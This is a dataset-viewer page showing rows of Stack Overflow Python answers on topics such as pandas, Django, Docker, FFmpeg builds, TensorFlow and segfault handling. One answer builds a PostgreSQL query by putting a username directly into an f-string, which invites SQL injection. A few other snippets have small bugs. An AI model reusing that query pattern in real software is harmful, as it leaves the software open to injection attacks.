Datasets:

---

suriyagunasekar

/

stackoverflow-python-with-meta-data

like 12

[]

[]

[ "Instead of request.post use httplib.HTTPConnection(url) with concurrency .\nYou need to change your code,That will definitely help to solve this problem.\n" ]

[ -1 ]

[ "nestjs", "python", "python_requests" ]

[ "The simplest way is to have a \"parent\" process which launches your app process, and check its exit value. -11 means the process received the signal 11 which is SEGFAULTV (cf)\nimport subprocess\n\nSEGFAULT_PROCESS_RETURNCODE = -11\n\n\nsegfaulting_code = \"import ctypes ; ctypes.string_at(0)\" # https://codegolf.stackexchange.com/a/4694/115779\ntry:\n subprocess.run([\"python3\", \"-c\", segfaulting_code],\n check=True)\nexcept subprocess.CalledProcessError as err:\n if err.returncode == SEGFAULT_PROCESS_RETURNCODE:\n print(\"probably segfaulted\")\n else:\n print(f\"crashed for other reasons: {err.returncode}\")\nelse:\n print(\"ok\")\n\n\nEDIT: here is a reproducible example with a Python dump using the built-in faulthandler :\n# file: parent_handler.py\nimport subprocess\n\nSEGFAULT_PROCESS_RETURNCODE = -11\n\n\ntry:\n subprocess.run([\"python3\", \"-m\", \"dangerous_child.py\"],\n check=True)\nexcept subprocess.CalledProcessError as err:\n if err.returncode == SEGFAULT_PROCESS_RETURNCODE:\n print(\"probably segfaulted\")\n else:\n print(f\"crashed for other reasons: {err.returncode}\")\nelse:\n print(\"ok\")\n\n# file: dangerous_child.py\n\nimport faulthandler\nimport time\n\nfaulthandler.enable() # by default will dump on sys.stderr, but can also print to a regular file\n\n\ndef cause_segfault(): # https://codegolf.stackexchange.com/a/4694/115779\n import ctypes\n ctypes.string_at(0)\n\n\ni = 0\nwhile True:\n print(\"everything is fine ...\")\n time.sleep(1)\n i += 1\n if i == 5:\n print(\"going to segfault!\")\n cause_segfault()\n\neverything is fine ...\neverything is fine ...\neverything is fine ...\neverything is fine ...\neverything is fine ...\ngoing to segfault!\n\nFatal Python error: Segmentation fault\n\nCurrent thread 0x00007f7a9ab35740 (most recent call first):\n File \"/usr/lib/python3.8/ctypes/__init__.py\", line 514 in string_at\n File \"/home/stack_overflow/dangerous_child.py\", line 9 in cause_segfault\n File \"/home/stack_overflow/dangerous_child.py\", line 19 in <module>\n File \"<frozen importlib._bootstrap>\", line 219 in _call_with_frames_removed\n File \"<frozen importlib._bootstrap_external>\", line 848 in exec_module\n File \"<frozen importlib._bootstrap>\", line 671 in _load_unlocked\n File \"<frozen importlib._bootstrap>\", line 975 in _find_and_load_unlocked\n File \"<frozen importlib._bootstrap>\", line 991 in _find_and_load\n File \"/usr/lib/python3.8/runpy.py\", line 111 in _get_module_details\n File \"/usr/lib/python3.8/runpy.py\", line 185 in _run_module_as_main\n\nprobably segfaulted\n\n(outputs from both processes got mixed in my terminal, but you can separate them as you like)\nThat way you can pinpoint the problem was caused by the Python code ctypes.string_at.\nBut as Mark indicated in the comments, you should not trust this too much, if the program got killed is because it was doing bad things.\n" ]

[ 1 ]

[]

[]

[ "python", "segmentation_fault" ]

[ "Either you do this\n[f.type.__name__ for f in dataclasses.fields(klass)]\n\nOr you do this\ndct_value_types = list(type(x) for x in list(dct.values()))\n\nNotice that I added or removed __name__ here, so both type checks should either have it or not\n", "You can use this function that checks if all the fields in the dataclass are present in a given dictionary and have same type -\ndef has_all_fields(d, custom_class):\n return all(field.name in d and isinstance(d[field.name], field.type) for field in dataclasses.fields(custom_class))\n\n\[email protected]\nclass FlatDataclass:\n first_field: str\n second_field: int\n\nmy_dict={\"first_field\":\"a_string\", \"second_field\":5}\nprint(has_all_fields(my_dict, FlatDataclass))\n\nOutput:\nTrue\n\nNote that this would still return True if dictionary has more fields than what the dataclass does.\n" ]

[ 1, 1 ]

[]

[]

[ "class", "dictionary", "python", "python_dataclasses" ]

[ "If I understand correctly, the format mask you should be using with strftime is %Y%m%d:\ndf[\"ConvertedDate\"] = df[\"DateOfBirth\"].dt.strftime('%Y%m%d')\n\n", "Pandas itself providing the ability to convert strings to datetime in Pandas dataFrame with desire format.\ndf['ConvertedDate'] = pd.to_datetime(df['DateOfBirth'], format='%Y-%m-%d').dt.strftime('%Y%m%d')\n\nReferenced Example:\nimport pandas as pd\n\nvalues = {'DateOfBirth': ['2021-01-14', '2022-11-01', '2022-11-01']}\n\ndf = pd.DataFrame(values)\ndf['ConvertedDate'] = pd.to_datetime(df['DateOfBirth'], format='%Y-%m-%d').dt.strftime('%Y%m%d')\n\nprint (df)\n\nOutput:\n DateOfBirth ConvertedDate\n0 2021-01-14 20210114\n1 2022-11-01 20221101\n2 2022-11-01 20221101\n\n" ]

[ 0, 0 ]

[ "This works\nfrom datetime import datetime \n\ninitial = \"2022-11-01\"\ntime = datetime.strptime(initial, \"%Y-%m-%d\")\nprint(time.strftime(\"%Y%m%d\"))\n\n" ]

[ -1 ]

[ "date", "format", "python", "text", "types" ]

[ "Im assuming you are working with a map thats printed in the terminal\nYou should think of the house as a 2 dimensional array where the 0s are free space and the 1s are the wall (or the other way around, thats just preference).\nThat way when you are printing the map you are just printing an empty space, a # or the players marker:\nMap = \n[\n [0,1,0,1,1,1,0,1],\n [1,0,0,1,0,1,1,0],\n ....\n]\n\nThe position of the player is a position in that array:\nPlayer = [2,5] ## Third Row Sixth Column\n\nBased on that you can calculate where the player can move:\nUp: [1,5]\nDown: [3,5]\nLeft: [2,4]\nRight: [2,6]\n\nOnce the player did his move, print the map again with something that could look like this:\ndef PrintMap(Map, Player = [0,0]):\nfor i in Map\n Row = ''\n for j in i:\n if [i, j] == Player:\n Row = Row + 'o'\n elif j == 0:\n Row = Row + ' '\n else:\n Row = Row + '#' \n print(Row)\n\n" ]

[ 0 ]

[]

[]

[ "python" ]

[ "I was getting the same error.\nI fixed it by creating a virtual environment and then importing it there, it worked.\n" ]

[ 0 ]

[]

[]

[ "python" ]

[ "At the top of your Python script, add the following 2 lines of code:\nimport warnings\nwarnings.filterwarnings(action=\"ignore\")\n\nThis will hide all warnings from the terminal.\nHope this helps :)\n", "It was necessary to add these lines to the project settings:\nimport warnings\nwarnings.filterwarnings(action=\"ignore\")\n\n" ]

[ 0, 0 ]

[]

[]

[ "django", "pytest", "python" ]

[ "I would suggest that, rather than using a range of versions, use a specific version you know works. That way, there won't be any problems.\nI think that one of the versions of the dependencies is incompatible with the main module, and since it is within the range of versions you ask for, pip tries to intall it and fails to do so since it is incompatible.\nAlso, pip normally handles dependencies automatically.\n" ]

[ 0 ]

[]

[]

[ "pip", "python" ]

[ "You can use the following\nfrom django.core.validators import validate_email\nfrom django import forms\n\n...\nif request.method == \"POST\":\n try:\n validate_email(request.POST.get(\"email\", \"\"))\n except forms.ValidationError:\n ...\n\nassuming you have a <input type=\"text\" name=\"email\" /> in your form\n", "You can use the validate_email() method from django.core.validators:\n>>> from django.core import validators\n>>> validators.validate_email('[email protected]')\n>>> validators.validate_email('test@examplecom')\nTraceback (most recent call last):\n File \"<console>\", line 1, in <module>\n File \"/Users/jasper/Sites/iaid/env/lib/python2.7/site- packages/django/core/validators.py\", line 155, in __call__\n super(EmailValidator, self).__call__(u'@'.join(parts))\n File \"/Users/jasper/Sites/iaid/env/lib/python2.7/site-packages/django/core/validators.py\", line 44, in __call__\n raise ValidationError(self.message, code=self.code)\nValidationError: [u'Enter a valid e-mail address.']\n\n", "import re\n\nUsing Python\ndef check_email(email) -> bool:\n # The regular expression\n pat = r'\\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Z|a-z]{2,}\\b'\n if re.match(pat, email):\n return True\n else:\n return False\n\nUsing regular expression to validate the email\nUsing Django but this raise a validation error\nfrom django.core import validators\nvalidators.validate_email(\"[email protected]\")\n\n" ]

[ 37, 6, 0 ]

[]

[]

[ "django", "emailfield", "python" ]

[ "Just to let you know that I don't have issues with pygithub and streamlit.\nCode\nmain.py\nfrom github import Github\nimport streamlit as st\n\n\ndef list_content_repo():\n g = Github()\n username = g.get_user(\"gitblanc\")\n repo = username.get_repo(\"Obsidian-Notes\")\n contents = repo.get_contents(\"\")\n\n st.write('#### Contents')\n st.write(contents)\n\n\nif __name__ == '__main__':\n list_content_repo()\n\nOutput\n\nSetup\nTry to setup your development environment this way. Let us see if you still have an issue. I am using windows 10 and use virtual environment. Open powershell.\nPS C:\\Users\\ferdi> f:\n\nI use drive f.\nPS F:\\> mkdir temp_streamlit\n\nPS F:\\> cd temp_streamlit\nPS F:\\temp_streamlit> python --version\nPython 3.10.6\n\nPS F:\\temp_streamlit> python -m venv myvenv\n\nPS F:\\temp_streamlit> ./myvenv/scripts/activate\n\n(myvenv) PS F:\\temp_streamlit> python -m pip install pip -U\n\n(myvenv) PS F:\\temp_streamlit> pip install streamlit\n\n(myvenv) PS F:\\temp_streamlit> pip install pygithub\n\nCreate main.py using the above code and run streamlit.\n(myvenv) PS F:\\temp_streamlit> streamlit run main.py\n\nYou should see the same output above.\n" ]

[ 1 ]

[]

[]

[ "python", "streamlit" ]

[ "You are \"emptying\" it in the first fetchone() run, that's why you are getting None in the following (it looks for the second record, but can't find it. Try this code:\ndef get_user_data(username: str, columns: list):\n result = []\n for column in columns:\n query = f\"SELECT {column} FROM ta_users WHERE username = '{username}'\"\n cursor.execute(query)\n res = cursor.fetchone()\n print('cursor.fetchone() from loop = ', res,\n 'type= ', type(res))) # debug\n if res:\n result.append(res[0])\n\n" ]

[ 1 ]

[]

[]

[ "database_cursor", "postgresql", "python", "typeerror" ]

[ "The ideal setup is to have one process running in one container. So it's good to run app.py and metricRequestr.py in two separate containers. So have two Dockerfiles:\nDockerfile 1:\nFROM ubuntu:18.04\nRUN apt-get update -y && apt-get install -y python3 python3-pip\n\nCOPY ./requirement.txt /app/requirement.txt\nWORKDIR /app\nRUN pip3 install -r requirement.txt\nCOPY ./src /app\n\nEXPOSE 8022\n\nENTRYPOINT [\"python3\"]\nCMD [\"metricRequester.py\"]\n\nDockerfile2:\nFROM ubuntu:18.04\nRUN apt-get update -y && apt-get install -y python3 python3-pip\n\nCOPY ./requirement.txt /app/requirement.txt\nWORKDIR /app\nRUN pip3 install -r requirement.txt\nCOPY ./src /app\n\nEXPOSE 8022\n\nENTRYPOINT [\"python3\"]\nCMD [\"app.py\"]\n\nThe Ports will vary for each containers.\n" ]

[ 0 ]

[]

[]

[ "docker", "flask", "python" ]

[ "Another possible solution, which is based on the following ideas:\n\nConvert column to string.\n\nSplit each cell by \\s-\\s.\n\nExplode column.\n\nConvert back to float.\n\nGroup by and mean.\n\n\ndf['Average Weight (Kg)'] = df['Average Weight (Kg)'].astype(\n str).str.split(r'\\s-\\s').explode().astype(float).groupby(level=0).mean()\n\nOutput:\n Average Weight (Kg)\n0 0.647\n1 0.880\n2 0.000\n3 0.730\n4 1.900\n5 1.350\n6 2.500\n7 NaN\n8 1.700\n9 1.400\n10 0.400\n11 2.300\n\n", "edit: slight change to avoid creating a new column\nYou could go for something like this (renamed your column name to avg, cause it was long to type :-) ):\nnew_average =(df.avg.str.split('-').str[1].astype(float) + df.avg.str.split('-').str[0].astype(float) ) / 2\ndf[\"avg\"] = new_average.fillna(df.avg)\n\nyields for avg:\n0 0.647\n1 0.880\n2 0.000\n3 0.730\n4 1.900\n5 1.350\n6 2.500\n7 NaN\n8 1.700\n9 1.400\n10 0.400\n11 2.300\nName: avg2, dtype: float64\n\n" ]

[ 2, 1 ]

[]

[]

[ "numpy", "pandas", "python" ]

[ "Instead of wx.EVT_LIST_ITEM_ACTIVATED use wx.EVT_LIST_ITEM_SELECTED\n" ]

[ 0 ]

[]

[]

[ "python", "user_interface", "wxpython" ]

[ "The sorting in python is a little weird. Uppercase letters always become first before lower case letters irregardless of the letter. You can use this to sort it properly:\nimport pandas as pandasForSortingCSV\n\n# assign dataset\ncsvData = pandasForSortingCSV.read_csv(\"python_packages.csv\")\n\n# displaying unsorted data frame\nprint(\"\\nBefore sorting:\")\nprint(csvData)\n\n# sort data frame\ncsvData.sort_values([\"package\"],\n axis=0,\n inplace=True, key=lambda col: col.str.lower())\n# displaying sorted data frame\nprint(\"\\nAfter sorting:\")\nprint(csvData)\n\ncol.str.lower() converts the name into the lowercase version so the capital letters don't matter.\n" ]

[ 0 ]

[]

[]

[ "csv", "pandas", "python", "python_3.x", "sorting" ]

[ "I don't think you can do this in python without complicated workarounds.\nYou could run a subprocess in a different python version using virtual environments via pyenv for each script.\nI advise against it though. Maybe someone can make a good alternative suggestion if you tell us why you need to have different versions of the same library.\n" ]

[ 0 ]

[]

[]

[ "anaconda", "google_colaboratory", "python", "sklearn_pandas" ]

[ "There are some issues with the altair_saver methods and the next version of altair will likely use a new library called vl-convert which fixes most saving issues, but until that is released, we have to use it manually. First do python -m pip install vl-convert-python from your environment, then you can try this:\nimport vl_convert as vlc\n\ndef save_chart(chart, filename, scale_factor=1):\n '''\n Save an Altair chart using vl-convert\n \n Parameters\n ----------\n chart : altair.Chart\n Altair chart to save\n filename : str\n The path to save the chart to\n scale_factor: int or float\n The factor to scale the image resolution by.\n E.g. A value of `2` means two times the default resolution.\n '''\n with alt.data_transformers.enable(\"default\") and alt.data_transformers.disable_max_rows():\n if filename.split('.')[-1] == 'svg':\n with open(filename, \"w\") as f:\n f.write(vlc.vegalite_to_svg(chart.to_dict()))\n elif filename.split('.')[-1] == 'png':\n with open(filename, \"wb\") as f:\n f.write(vlc.vegalite_to_png(chart.to_dict(), scale=scale_factor))\n else:\n raise ValueError(\"Only svg and png formats are supported\")\n\nIf you wanted to use this function to save a chart as a PNG file at 2x the default resolution you would type save_chart(my_chart, 'my-chart.png', 2) as in this example:\nimport pandas as pd\nimport altair as alt\n\n\nsource = pd.DataFrame({\n 'a': ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I'],\n 'b': [28, 55, 43, 91, 81, 53, 19, 87, 52]\n})\nmy_chart = alt.Chart(source).mark_bar().encode(\n x='a',\n y='b'\n)\n\nsave_chart(my_chart, 'my-chart.png', 2)\n\n" ]

[ 0 ]

[]

[]

[ "altair", "python" ]

[ "You should use an absolute path to that venv like /path/to/venv/bin/python3.9\n", "This is my example.\nexample.py\nthis code show python version you run.\nimport sys \nprint(\"version {}\".format(sys.version))\n\ntraverse_python.sh\nthis code traverses various python versions to show what version runs the code.\nyou can change the process_name to the python version you want to use.\nimport time\nimport subprocess, os\n\npythoninterpretor = ['/usr/local/bin/python3.10', '/usr/local/bin/python3.11']\n\nfor i in pythoninterpretor:\n process_name = i\n parameters = 'example.py'\n p = subprocess.Popen([process_name, parameters])\n time.sleep(10)\n\nmy results\nFYI, the result won't change even if you explicitly use another python version in shebang in the script.\nversion 3.10.8 (main, Oct 13 2022, 10:17:43) [Clang 14.0.0 (clang-1400.0.29.102)]\nversion 3.11.0 (main, Oct 25 2022, 14:13:24) [Clang 14.0.0 (clang-1400.0.29.202)]\n\n\nIn your case,\npython_interpretor = '/absolute/path/env/python3.9'\np = Popen([python_interpretor, process_name, parameters_l], stdin=PIPE, stdout=PIPE, stderr=PIPE)\n\nand you need to replace /absolute/path/env/python3.9 with your ideal version's path.\n" ]

[ 0, 0 ]

[]

[]

[ "loadlibrary", "python", "subprocess" ]

[ "To get a tuple of RGB colors at the current mouse position I use this\npixel = pyautogui.pixel(*pyautogui.position())\n\n" ]

[ 0 ]

[]

[]

[ "action", "detection", "python" ]

[ "For Future Reference: The solution was to downgrade pint 0.20 -> 0.19\nThis has turned out to be a bug in the spectrochempy code. There is a thread on github (https://github.com/spectrochempy/spectrochempy/issues/490) which alleges this issue is already solved, however, this was still an issue for me. I used pip to do this which may not have been best practice but worked for me in this case:\npip uninstall pint\n\npip install pint=0.19.2 \n\n" ]

[ 0 ]

[]

[]

[ "pint", "python" ]

[ "Index(\"my_index\", table.c.x, postgresql_include=['y'])\n\nIt's in the postgres-specific part of the documentation\nSee also: issue, commit\n" ]

[ 0 ]

[]

[]

[ "alembic", "postgresql", "python", "sqlalchemy" ]

[ "For setMouseCallback to work you will need to create window object first.\nThis can be done either by calling imshow before setting mouse callback, or by creating it with cv2.namedWindow()\n", "@You may try the following code\nimport cv2\n\ndef function1(event, x, y, flags, param):\n\n if event==cv2.EVENT_LBUTTONDOWN:\n\n\n print(input_img[x, y])\n\n\ninput_img = cv2.imread(r'D:\\personal \ndata\\316817146_6028126817205901_1035125390140549057_n.jpg') # get image\n#named window\ncv2.namedWindow('new window')\n#show the image in the window\ncv2.imshow('new window', input_img)\n\n#call setMouseCallback()\ncv2.setMouseCallback('new window', function1)\n\nwhile True:\n\n if cv2.waitKey(1) and 0xFF==ord('q'):\n\n break\n\n\ncv2.detroyAllWindows()\n\n" ]

[ 3, 0 ]

[]

[]

[ "callback", "cv2", "opencv", "python" ]

[ "That's using slice notation to extract specific rows and columns from the dataset.\n[:, 0] means all rows, column 0.\n[:, 1:] means all rows, columns 1 through n (all columns except 0).\nSee Understanding slicing for a good explanation of Python slicing notation.\n" ]

[ 1 ]

[]

[]

[ "numpy", "python", "square_bracket" ]

[ "You can share a pickle over a named pipe.\n" ]

[ 0 ]

[]

[]

[ "multiprocessing", "process", "python", "subprocess" ]

[ "Change it to:\nimage[y % image_height ][x % image_width] = (100, 100, 100)\nModulo operator : https://realpython.com/python-modulo-operator/\n" ]

[ 1 ]

[]

[]

[ "python" ]

[]

[]

[ "There should be a \"Python Packages\" on the bottom slidebar. It's a convenient way to install packages.\n" ]

[ -1 ]

[ "python" ]

[ "Ignoring the idea of reimplementing the argparse module, just use that module. For example,\nimport argparse\n\np = argparse.ArgumentParser()\np.add_argument('--volume', type=int)\np.add_argument('--weight', type=int)\np.add_argument('--model')\n\nargs = p.parse_args()\n\nThe result will be an instance of argparse.Namespace, which is just a very simple object with attributes associated with each argument you defined. For example, if you specify --weight=500 or --weight 500, then args.weight == 500.\n" ]

[ 1 ]

[]

[]

[ "command_line_interface", "list", "python", "python_3.x" ]

[ "You can use:\nN = 3\n\n# group successive values\ngroup = df['Name'].ne(df['Name'].shift()).cumsum()\n\n# restart group every N times\ndf['Batch'] = (df.groupby(group)\n .cumcount().mod(N)\n .eq(0).cumsum()\n )\n\nOutput:\n Name Age Batch\n0 U 20 1\n1 U 20 1\n2 U 20 1\n3 U 18 2\n4 I 45 3\n5 I 68 3\n6 I 8 3\n7 D 7 4\n8 D 6 4\n9 I 89 5\n\n" ]

[ 3 ]

[]

[]

[ "dataframe", "group_by", "numpy", "pandas", "python" ]

[ "Data is loaded dynamically from external source via API and You can grab the required data using requests module only then store via pandas DataFrame.\nimport pandas as pd\nimport requests\n\nheaders = {'user-agent':'Mozilla/5.0'}\nurl = 'https://www.forbes.com/ajax/list/data?year=2019&uri=best-states-for-business&type=place'\nr= requests.get(url,headers=headers)\n\ndf = pd.DataFrame(r.json())\nprint(df)\n\nOutput:\n position rank name uri ... regulatoryEnvironment economicClimate growthProspects lifeQuality\n0 1 1 North Carolina nc ... 1 13 13 16 \n1 2 2 Texas tx ... 21 4 1 15 \n2 3 3 Utah ut ... 6 8 7 9 \n3 4 4 Virginia va ... 3 20 24 1 \n4 5 5 Florida fl ... 7 3 5 18 \n5 6 6 Georgia ga ... 9 7 11 23 \n6 7 7 Tennessee tn ... 4 11 14 29 \n7 8 8 Washington wa ... 29 6 8 30 \n8 9 9 Colorado co ... 19 2 4 21 \n9 10 10 Idaho id ... 8 10 2 24 \n10 11 11 Nebraska ne ... 2 28 36 19 \n11 12 12 Indiana in ... 5 25 25 7 \n12 13 13 Nevada nv ... 14 14 6 48 \n13 14 14 South Dakota sd ... 13 39 20 28 \n14 15 15 Minnesota mn ... 16 16 27 3 \n15 16 16 South Carolina sc ... 17 15 12 39 \n16 17 17 Iowa ia ... 11 36 35 10 \n17 18 18 Arizona az ... 18 12 3 35 \n18 19 19 Massachusetts ma ... 37 5 15 4 \n19 20 20 Oregon or ... 36 9 9 38 \n20 21 21 Wisconsin wi ... 10 19 37 8 \n21 22 22 Missouri mo ... 25 26 18 17 \n22 23 23 Delaware de ... 42 37 19 43 \n23 24 24 Oklahoma ok ... 15 31 33 31 \n24 25 25 New Hampshire nh ... 32 21 22 22 \n25 26 26 North Dakota nd ... 22 45 26 42 \n26 27 27 Pennsylvania pa ... 35 23 40 12 \n27 28 28 New York ny ... 34 18 21 14 \n28 29 29 Ohio oh ... 26 22 44 2 \n29 30 30 Montana mt ... 28 35 17 45 \n30 31 31 California ca ... 40 1 10 27 \n31 32 32 Wyoming wy ... 12 49 23 36 \n32 33 33 Arkansas ar ... 20 33 39 41 \n33 34 34 Maryland md ... 41 27 29 26 \n34 35 35 Michigan mi ... 22 17 41 13 \n35 36 36 Kansas ks ... 24 32 42 32 \n36 37 37 Illinois il ... 39 30 45 11 \n37 38 38 Kentucky ky ... 33 41 34 25 \n38 39 39 New Jersey nj ... 49 29 30 5 \n39 40 40 Alabama al ... 27 38 31 44 \n40 41 41 Rhode Island ri ... 44 40 32 20 \n41 42 42 Mississippi ms ... 30 46 47 37 \n42 43 43 Connecticut ct ... 43 42 48 6 \n43 44 44 Maine me ... 48 34 28 34 \n44 45 45 Vermont vt ... 45 43 38 33 \n45 46 46 Louisiana la ... 47 47 46 47 \n46 47 47 Hawaii hi ... 38 24 49 40 \n47 48 48 New Mexico nm ... 46 44 15 49 \n48 49 49 West Virginia wv ... 50 48 50 46 \n49 50 50 Alaska ak ... 31 50 43 50 \n\n[50 rows x 15 columns]\n\n" ]

[ 1 ]

[]

[]

[ "python", "python_requests_html", "web_scraping" ]

[ "The b in the beginning means you have bytes, instead of a string, meaning you first have to convert your response content into a dictionary (think of a python term for a json) so that you can access the data in your response by their keys. Luckily that's easy to from a requests response with\njson_data = response.json()\nfor sub_dict in json_data:\n if sub_dict [\"success\"] is False:\n raise ValueError(\"Check SF size fields...\")\n\nMore about requests.response: https://requests.readthedocs.io/en/latest/api/#requests.Response\n" ]

[ 0 ]

[]

[]

[ "amazon_web_services", "json", "loops", "python", "salesforce" ]

[ "As we can see in this example here, the problem arises from using time.sleep not asyncio.sleep, since time.sleep will block the thread. You need to be careful not to have any blocking code\nimport asyncio\nimport time\n\n\ndef await_time_limit(time_limit):\n def Inner(func):\n async def wrapper(*args, **kwargs):\n return await asyncio.wait_for(func(*args, **kwargs), time_limit)\n return wrapper\n return Inner\n\n\n@await_time_limit(5)\nasync def asleep():\n await asyncio.sleep(30) # this runs for only 5 seconds\n\n\n@await_time_limit(5)\nasync def ssleep():\n time.sleep(30) # this runs to the full 30 seconds and not stopped after 5\n\n\nt1 = time.time()\nawait asleep()\nt2 = time.time()\nprint(t2-t1) # 5.018370866775513\n\n\nt1 = time.time()\nawait ssleep()\nt2 = time.time()\nprint(t2-t1) # 30.00193428993225\n\n" ]

[ 1 ]

[]

[]

[ "python", "python_asyncio", "python_decorators" ]

[ "TensorFlow is no different to any other ML solution you could find - strickly speaking, no, it cannot learn from Nones and its your responsibility to encode them somehow to a numerical value. It could be any value you find reasonable - I would recommend you to read through https://scikit-learn.org/stable/modules/impute.html, for example.\n", "You are trying to avoid Imputation. Most models don't support this, but some implementations of \"Naive Bayes\" and \"k-Nearest Neighbor\" can do it apparently. Maybe this article can help you.\n" ]

[ 0, 0 ]

[]

[]

[ "python", "tensorflow" ]

[ "Facing this same problem just last week. I would say the problem is that you are trying to install PyAv without the proper dynamic libraries from FFMPEG. PyAv is just a bunch of Python bindings to connect with binary dynamic libraries in the system. I'm also assuming you are probably on Ubuntu 18.04. The newest FFMPEG version on the standard repository is no good, it's 3.x.\nYou need either have to compile some FFMPEG version equal or above 4.0. To do that, you need to compile FFMPEG from the source, compile and install it with make and make install. Or you can add a repository with the binaries you want. I compiled it myself, and it generated all the libaries I needed, so that's what I describe here.\nFirst run ffmpeg on the terminal to make sure you have a FFMPEG version below 4.0. And if that's the case, run the following commands. They will download the source code, extract it, compile it and install the files. After that, the Python bindings of PyAv should find the correct libraries and the installation will be able to proceed.\nMake sure you have the dependences:\nsudo apt install yasm libvpx. libx264. cmake libavdevice-dev libavfilter-dev libopus-dev libvpx-dev pkg-config libsrtp2-dev libpython3-dev python3-numpy\nThen download the sources:\ncurl https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/ffmpeg/7:4.2.4-1ubuntu0.1/ffmpeg_4.2.4.orig.tar.xz --output ffmpeg_4.2.4\nExtract the file:\ntar -xf ffmpeg_4.2.4.orig.tar.xz\nEnter the directory:\ncd ffmpeg-4.2.4/\nAnd compile and install the files:\n./configure --disable-static --enable-shared --disable-doc\nmake\nsudo make install\nsudo ldconfig\nIt should now compile and install the dynamic libraries for FFMPEG 4.2.4. Once it finishes, open a NEW terminal, and type ffmpeg to verify that a new 4.x version is now avaliable. Then try to install CVAT again, it should work now.\n" ]

[ 0 ]

[]

[]

[ "cvat", "ffmpeg", "libav", "pkg_config", "python" ]

[ "Start by inspecting the values in your variables. For example, look at dict_list and names for the small.csv file and you will find:\ndict_list:\n[['name', 'AGATC', 'AATG', 'TATC'], ['Alice', '2', '8', '3'], ['Bob', '4', '1', '5'], ['Charlie', '3', '2', '5']]\nnames:\n[[['name', 'AGATC', 'AATG', 'TATC'], ['Alice', '2', '8', '3'], ['Bob', '4', '1', '5'], ['Charlie', '3', '2', '5']]]\n\nFirst observation: dict_list is a list of lists (not dictionaries). This happens when you set dict_list = list(reader). Use csv.DictReader() if you want to create a list of dictionaries. You don't have to create a list of dictionaries, but you will find it makes it much easier to work with the data. Also, there is nothing gained by appending dict_list to another list (names).\nNext, look at find_STR. For sequence 1 is: [4, 1, 5]. However, you didn't save the longest match value with the STR sequence name. As a result, you have to reference the first list item in names (or dict_list).\nOnce you have the longest match values (in find_STR), you need to compare them to the names and sequence counts in dict_list, and find the 1 that matches. (For this sequence, it will be ['Bob', '4', '1', '5'].) Once you find the match, the first item in the list is the name you want: Bob.\nNone of the code to create A, list3 or list4 do this. They simply return '4', '1', '5' as different objects: A is a list of strings, list3 is an unsorted set of strings, and list4 is a sorted list of strings that matches A. There isn't a name there to print.\nGood luck.\n" ]

[ 0 ]

[]

[]

[ "cs50", "python", "python_3.x" ]

[ "You could try utilizing tf.lookup.StaticHashTable like this:\nimport tensorflow as tf \n\nperson_tensor = tf.constant([\"person1\", \"person2\", \"person1\", \"person3\", \"person3\"])\nvalue_tensor = tf.constant([1,2,3,4,5])\n\nk_tensor = tf.unique(person_tensor)[0]\nv_tensor = tf.cast(tf.range(tf.shape(k_tensor)[0]), dtype=tf.int64)\ntable = tf.lookup.StaticHashTable(\n tf.lookup.KeyValueTensorInitializer(k_tensor, v_tensor),\n default_value=-1)\n\nreverse_table = tf.lookup.StaticHashTable(\n tf.lookup.KeyValueTensorInitializer(v_tensor, k_tensor),\n default_value=\"\")\n\nds = tf.data.Dataset.from_tensor_slices((person_tensor, value_tensor)).map(lambda person, value: {'person': table.lookup(person), 'value': value})\n\nwindow_size = 10 # not very important, I don't care getting multiple groups for one key as long as there is only one key per group\nds = ds.group_by_window(\n key_func=lambda row: row['person'],\n window_size=window_size,\n reduce_func=lambda key, rows: rows.batch(window_size)\n)\nds = ds.map(lambda d: {'person': tf.unique(reverse_table.lookup(d['person']))[0], 'value': d['value']})\nlist(ds.as_numpy_iterator())\n\n[{'person': array([b'person1'], dtype=object),\n 'value': array([1, 3], dtype=int32)},\n {'person': array([b'person2'], dtype=object),\n 'value': array([2], dtype=int32)},\n {'person': array([b'person3'], dtype=object),\n 'value': array([4, 5], dtype=int32)}]\n\nOr if you really have some unique number in your strings, you could also try using tf.strings.bytes_split and tf.strings.to_number:\nperson_tensor = tf.constant([\"person1\", \"person2\", \"person1\", \"person3\", \"person3\"])\nvalue_tensor = tf.constant([1,2,3,4,5])\nds = tf.data.Dataset.from_tensor_slices((person_tensor, value_tensor)).map(lambda person, value: {'person': person, 'value': value})\nwindow_size = 10 # not very important, I don't care getting multiple groups for one key as long as there is only one key per group\nds = ds.group_by_window(\n key_func=lambda row: tf.strings.to_number(tf.strings.bytes_split(row['person'])[-1], tf.int64),\n window_size=window_size,\n reduce_func=lambda key, rows: rows.batch(window_size)\n)\nds = ds.map(lambda d: {'person': tf.unique(d['person'])[0], 'value': d['value']})\n\nlist(ds.as_numpy_iterator())\n\n[{'person': array([b'person1'], dtype=object),\n 'value': array([1, 3], dtype=int32)},\n {'person': array([b'person2'], dtype=object),\n 'value': array([2], dtype=int32)},\n {'person': array([b'person3'], dtype=object),\n 'value': array([4, 5], dtype=int32)}]\n\nOr you could try using tf.strings.to_hash_bucket_fast:\nperson_tensor = tf.constant([\"person1\", \"person2\", \"person1\", \"person3\", \"person3\"])\nvalue_tensor = tf.constant([1,2,3,4,5])\nds = tf.data.Dataset.from_tensor_slices((person_tensor, value_tensor)).map(lambda person, value: {'person': person, 'value': value})\nwindow_size = 10 # not very important, I don't care getting multiple groups for one key as long as there is only one key per group\nds = ds.group_by_window(\n key_func=lambda row: tf.strings.to_hash_bucket_fast(row['person'], 5),\n window_size=window_size,\n reduce_func=lambda key, rows: rows.batch(window_size)\n)\nds = ds.map(lambda d: {'person': tf.unique(d['person'])[0], 'value': d['value']})\n\nlist(ds.as_numpy_iterator())\n\n[{'person': array([b'person3'], dtype=object),\n 'value': array([4, 5], dtype=int32)},\n {'person': array([b'person1'], dtype=object),\n 'value': array([1, 3], dtype=int32)},\n {'person': array([b'person2'], dtype=object),\n 'value': array([2], dtype=int32)}]\n\n" ]

[ 1 ]

[]

[]

[ "group_by", "hashmap", "python", "tensorflow", "tensorflow_datasets" ]

[ "I think this is due to the usage of df.values because it will try to return a Numpy representation of the DataFrame. As per the docs\n\nBy default, the dtype of the returned array will be the common NumPy\ndtype of all types in the DataFrame.\n\n>>> from pandas.core.dtypes.cast import find_common_type\n>>> find_common_type(df.dtypes.to_list()) # df is your dataframe\ndtype('float64')\n\n" ]

[ 1 ]

[]

[]

[ "casting", "dtype", "pandas", "python" ]

